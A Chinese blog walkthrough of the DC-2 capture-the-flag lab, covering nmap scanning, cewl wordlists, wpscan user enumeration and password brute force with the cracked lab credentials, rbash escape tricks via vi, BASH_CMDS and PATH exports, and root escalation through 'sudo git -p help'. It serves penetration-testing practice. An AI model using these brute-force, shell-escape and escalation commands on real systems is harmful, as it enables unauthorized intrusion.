首页 > 其他分享 >dc-2靶机-超详解

dc-2靶机-超详解

时间:2024-04-04 19:34:51浏览次数:11  
标签:bin __ dc 详解 usr tom PATH 靶机

dc-2内网靶

1、信息收集

入站信息

nmap扫描

nmap -A -p- -v 192.168.27.0/24

得到消息:

IP:192.168.227.139
cms:wordpress 4.7.10
开放端口及服务:80(http)、7744(ssh)

页面信息

访问ip发现跳转,猜测可能是域名重定向

修改hosts文件

重新访问,访问成功发现flag1

访问成功发现flag1

标志 1:

你通常的单词列表可能不起作用,所以相反,也许你只需要 cewl。

密码越多越好,但有时您无法全部赢得密码。

以一个身份登录以查看下一个标志。

如果找不到它,请以其他人身份登录。

提示:用cewl(CeWL是一款以爬虫模式在指定URL上收集单词的工具,可以将它收集到的单词纳入密码字典,以提高密码破解工具的成功率。)

目录爆破

dirb目录扫描工具
dirb http://dc-2

dirsearch工具
dirsearch -u http://dc-2/ -x 404,403

访问页面
http://dc-2/wp-admin

2、渗透开始

cewl生成字典

cewl http://dc-2/ -w pa.txt

wpscan枚举爆破

用户名获取

WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。我们还使用了 Nikto ,它是一款非常棒的Web 服务器评估工具,我们认为这个工具应该成为所有针对 WordPress网站进行的渗透测试的一部分

wpscan --url http://dc-2 -e u

得到三个用户名

admin Jerry tom
爆破
burp爆破

wpscan爆破
wpscan --url http://dc-2 -U user.txt -P pa.txt

得到两个用户名和密码

jerry adipiscing
tom	  parturient

登录

分别登录两个账号,jerry账号下面发现flag2

提示为

如果你无法利用 WordPress 并走捷径,还有另一种方法。
希望您找到另一个切入点。

提权

ssh连接

前面提示找另外一个切入点,不能在利用word press ,此时根据前面扫描发现ssh端口开启此时连接ssh

ssh 

尝试登录发现只有tom登录成功

查看文件

权限限制

发现没有权限,并且有限制'-rbash',可以明显看出来是rbash逃逸

思路:1、根据一些漏洞穿越rbash,2、利用仅有的漏洞或者其他查看一些文件

此时查看当前用户可执行命令

echo $PATH 				//输出路径
echo /home/tom/usr/bin/*		//输出可用命令

可以使用的命令有:less 、ls、scp、vi

/home/tom/usr/bin/less 
/home/tom/usr/bin/ls 
/home/tom/usr/bin/scp 
/home/tom/usr/bin/vi

利用vi 或者less得到到第三个flag

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
可怜的老汤姆总是追赶杰瑞。 也许他应该忍受他造成的所有压力。

提示此时需要用su命令切换用户,但是此时可以使用的命令只有上面几个,那么接下来就要提权,而这里涉及的是切换用户逃逸

su命令,只会更改当前用户,而不会更改当前的用户环境,比如你从kali用户su到root账户中,当前路径仍是你刚才的路径,环境变量仍是kali用户的
su- 命令,则在更改当前用户信息的同时还会更改用户环境,但是假如你从kali 用户su -到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了

rbash提权

详细的建议去看看rbash逃逸

less绕过
scp -S /path/yourscript x y:
ls绕过
vi绕过
set shell=/bin/bash
shell
echo $PATH
export PATH='/user/bin:/bin'

更改变量绕过
BASH_CMDS[a]=/bin/sh;a      //使用并添加环境变量
export PATH=$PATH:/bin/     //将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin  //将/usr/bin作为PATH环境变量导出
切换用户

发现flag4

Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!
git提权

在flag4中表示还有一个flag,但是没有提示,在最后有一个git,那么此时应该是git提权

输入
sudo git -p help
在最后面输入:!/bin/bash
查看flag:
root@DC-2:~# cat final-flag.txt 
 __    __     _ _       _                    _ 
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   

Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.

设及到的知识点:

Linux基本命令的使用

重定向

nmap扫描识别

目录爆破(敏感目录)

cewl的使用

wpscan的使用

ssh工具指定端口终端连接

rbash逃逸

git提权

标签:bin,__,dc,详解,usr,tom,PATH,靶机
From: https://www.cnblogs.com/yuell/p/18114514

相关文章

  • git版本控制工具详解
    认识版本控制(版本控制)◼什么是版本控制?版本控制的英文是Versioncontrol;是维护工程蓝图的标准作法,能追踪工程蓝图从诞生一直到定案的过程;版本控制也是一种软件工程技巧,借此能在软件开发的过程中,确保由不同人所编辑的同一程序文件都得到同步;◼简单来说,版本控制在软......
  • 《手把手教你》系列技巧篇(七十)-java+ selenium自动化测试-Java中如何读取properties配
     1.简介Java自动化测试开发中,需要将一些易变的配置参数放置再XML配置文件或者properties配置文件中。然而XML配置文件需要通过DOM或SAX方式解析,而读取properties配置文件就比较容易。因此今天宏哥讲解和分享如何读取properties配置文件的内容。2.properties文件......
  • 【云原生篇】k8s之Deployment详解
    Kubernetes的Deployment是一种管理声明式更新的资源对象,它允许你描述应用的期望状态,并由Deployment控制器自动将当前状态改变为期望状态。Deployment主要用于无状态应用的部署和扩展,但也可以用于有状态应用。核心功能自动化部署与回滚:Deployment可以自动更新应用的......
  • 【云原生篇】K8S之StatefulSet 详解
    在Kubernetes(K8s)中,StatefulSet是一种用于管理有状态应用的工作负载API对象。与Deployment管理无状态应用不同,StatefulSet为每个Pod副本提供了持久性标识符(如名称和网络标识),并且可以保证部署和扩展顺序、以及网络标识和存储的稳定性。核心特性稳定、唯一的网......
  • Python+requests+Pytest+logging+allure+pymysql框架详解
    一、框架目录结构1)tools目录用来放公共方法存储,如发送接口以及读取测试数据的方法,响应断言数据库断言前置sql等方法;2)datas目录用例存储接口用例的测试数据,我是用excel来存储的数据,文件数据图片数据等;3)testcases目录用来存放测试用例,一个python文件对应一个接口模块的......
  • Python常用算法思想--递归算法思想详解【附源码】
    递归算法能够重复性的将问题分解为同类的子问题,然后解决这些子问题,最终达到解决最开始的问题为目的。以下从解决“阶乘”问题、“汉诺塔”问题、“斐波那契数列”问题、“最大公倍数和最小公约数”问题、“小球弹跳”、“深度优先”与“广度优先”问题等六个经典递归算法的案例......
  • 基于深度学习的犬种识别系统详解(网页版+YOLOv8/v7/v6/v5代码+训练数据集)
    摘要:本文深入研究了基于YOLOv8/v7/v6/v5等深度学习模型的犬种识别技术,核心采用YOLOv8并整合了YOLOv7、YOLOv6、YOLOv5算法,进行性能指标对比;详述了国内外研究现状、数据集处理、算法原理、模型构建与训练代码,及基于Streamlit的交互式Web应用界面设计。在Web网页中可以支持图像、视......
  • 【递推与递归】python例题详解
    文章目录1、递归实现指数型枚举2、递归实现排列型枚举3、递归实现组合型枚举4、简单斐波那契5、带分数6、翻硬币1、递归实现指数型枚举题目从 1∼n这 n个整数中随机选取任意多个,输出所有可能的选择方案。输入格式输入一个整数 n。输出格式每行输出一种方案。同一......
  • C语言入门:预处理器指令详解
    目录一宏定义A.不带参数的宏定义:B.带参数的宏定义(宏函数):C.宏定义的注意事项:二条件编译A.#ifdef/#ifndef:B.#if/#elif/#else/#endif:C.#pragmaonce:三头文件包含A.#include:B.头文件包含顺序:C.编译警告:四C语言的优缺点A.C语言的优点:B.C语言的缺点:五C......
  • Liunx中mail详解(centos7 / kylin)
    #下载邮件yuminstall-ymailx一.系统用户之间发送邮件#方法一#发送邮件mail-s"邮件标题"用户名#回车,就可以输入内容,按住ctrl+删除键即可删除输入的内容,换行也使用回车#ctrl+d发送/回车输入一个.再回车也可以进行发送,当然这个点不会放进内容里#方法二echo......